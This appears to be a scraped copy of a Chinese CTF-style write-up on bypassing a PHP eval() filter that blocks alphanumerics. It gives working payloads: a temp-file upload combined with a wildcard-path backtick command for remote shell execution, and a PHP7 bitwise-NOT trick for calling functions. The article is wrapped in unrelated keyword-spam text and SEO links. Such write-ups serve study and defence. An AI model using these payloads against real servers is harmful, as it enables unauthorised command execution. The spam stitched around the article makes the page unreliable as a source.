当前位置: 首页 > news >正文

做游戏网站年入百万类似58的推广平台有哪些平台

做游戏网站年入百万,类似58的推广平台有哪些平台,短视频变现的15种方法,网站那个做的比较好的目录 对于php5以上首先要解决的问题有 解决技巧 1.code长度小于35位 2.没有字母、数字、_ 、$ 3.怎么把文件放进服务器 4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令 5.构造完整的code参数 6.我们还可以通过修改文件里面shell命令,…

目录

对于php5以上首先要解决的问题有

解决技巧

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

        1.执行Linux命令

        2.执行文件里面的shell命令

5.构造完整的code参数

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7可以用取反绕过的技巧( ~ 是取反的意思)


<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

这个代码怎么利用

对于php5以上首先要解决的问题有

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

解决技巧

1.code长度小于35位

这个问题和整体思路有关,要和后面的一起考虑

2.没有字母、数字、_ 、$

可以不用字母数字,Linux系统文件名支持通配符方式查找

比如

* 代表任意长度的字符

?代表任意一个长度的字符

[ ] 匹配括号里面的任意一个

这道题我们要找文件,不能用字母,数字等,因为我们要找的文件有个特点是在tmp下,9位,最后一位有几率是大写字母,所以我们可以用通配符和ascii码结合一下,写出payload

/???/????????[@-[] 

因为最后一位是大写,所以可以用@-[ ,因为@到[ 的ASCII码正好刚刚好包含了大写字母

3.怎么把文件放进服务器

写一个文件上传的html页面,作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记

<!DOCTYPE html>
<html lang="zh">
<head>  <meta charset="UTF-8">  <title>文件上传示例</title>  
</head>
<body><form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file" required><input type="submit" value="上传"></form>
</body>
</html>

在上传的文件1.txt里面写上#!bin/bash

                                           id          

复制如图的请求标识,备用      

4.怎么执行文件里面的内容

在发送上一步文件上传请求后,Linux会在tmp下生成一个临时文件,我们要运行并执行文件里面的内容

        1.执行Linux命令

                在Linux里面``反引号可以执行命令,所以我们用

                `/???/????????[@-[]`

                来执行查找临时文件的命令,

        2.执行文件里面的shell命令

               在文件路径的前面加上   .  可以执行文件里面的命令

        所以payload是

                `. /???/????????[@-[]`

5.构造完整的code参数

        code=?><?=`. /???/????????[@-[]`;?>

<?是php的开头,为什么前面还要加一个?>呢

因为这个是php官方要求的,目的是为了防止前面的代码进行干扰,就用?>进行闭合,

然后再写我们的php代码。

如图所示,post请求是可以把get请求参数和post请求一起进行传递的

整个过程是,post请求把带有shell命令的临时文件生成,然后get请求传递code值放入eval()里面,

然后执行查找临时文件的命令,找到了临时文件,然后用 . 来执行文件里面的显示当前用户id的命令,最后,用户id信息就会显示在响应包里面

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7还可以用取反绕过的技巧( ~ 是取反的意思)

PHP7允许用($a)();这样的方法来执行动态函数,所以我们可以想到直接(phpinfo)();

但是由于过滤了字母,不能直接写phpinfo,可以进行取反

把phpinfo用php代码进行取反,得到

%8F%97%8F%96%91%99%90

取反绕过了以后再取反一次,就回到了我们的phpinfo

所以可以构造payload为

code=(~%8F%97%8F%96%91%99%90)();

http://www.sczhlp.com/news/31408/

相关文章:

  • 电商网站html模板下载论坛优化seo
  • 绍兴企业自助建站线上营销推广方式有哪些
  • 大丰做网站找哪家好营业推广案例
  • 织梦网站做自适应网站关键词排名手机优化软件
  • 有什么做衣服的网站黄山seo排名优化技术
  • Linux防止rm误操作防护方案
  • 北京学生做兼职的网站seo优化方法网站快速排名推广渠道
  • 网络品牌网站建设2021最火营销方案
  • 怎么在自己电脑上建网站网站客服
  • 福田做网站报价石家庄做网站推广排名的公司
  • 宁波做网站优化哪家好最简短的培训心得
  • 网站seo和sem是什么意思百度官网认证入口
  • 湖北网站建设免费百度一下首页百度
  • 外贸黄页seo简单速排名软件
  • 莱芜四中网站产品设计
  • 东莞市做网站的最好的是哪家的seo在哪可以学
  • 虚拟主机网站淘客网站建设竞价排名的定义
  • 网站维护管理千万别在百度上搜别人的名字
  • 北京科技网站建设公司谷歌浏览器下载手机版官网中文
  • 定制开发app方案seo查询系统源码
  • jmeter测试kingbase高可用集群业务恢复时间
  • 优酷专门给马天宇做的网站优化系统的软件
  • 个体户 建设网站软文广告平台
  • 建设银行江苏省分行网站网站综合查询工具
  • 专门做2手手机的网站老铁外链工具
  • 如何在国外网站做推广搜狗站长
  • 国家企业信息公示系统全国德州网站建设优化
  • 各大网站网址目录房地产新闻最新消息
  • 本地网站做淘宝客生意参谋指数在线转换
  • 优惠券怎做网站营销最好的方法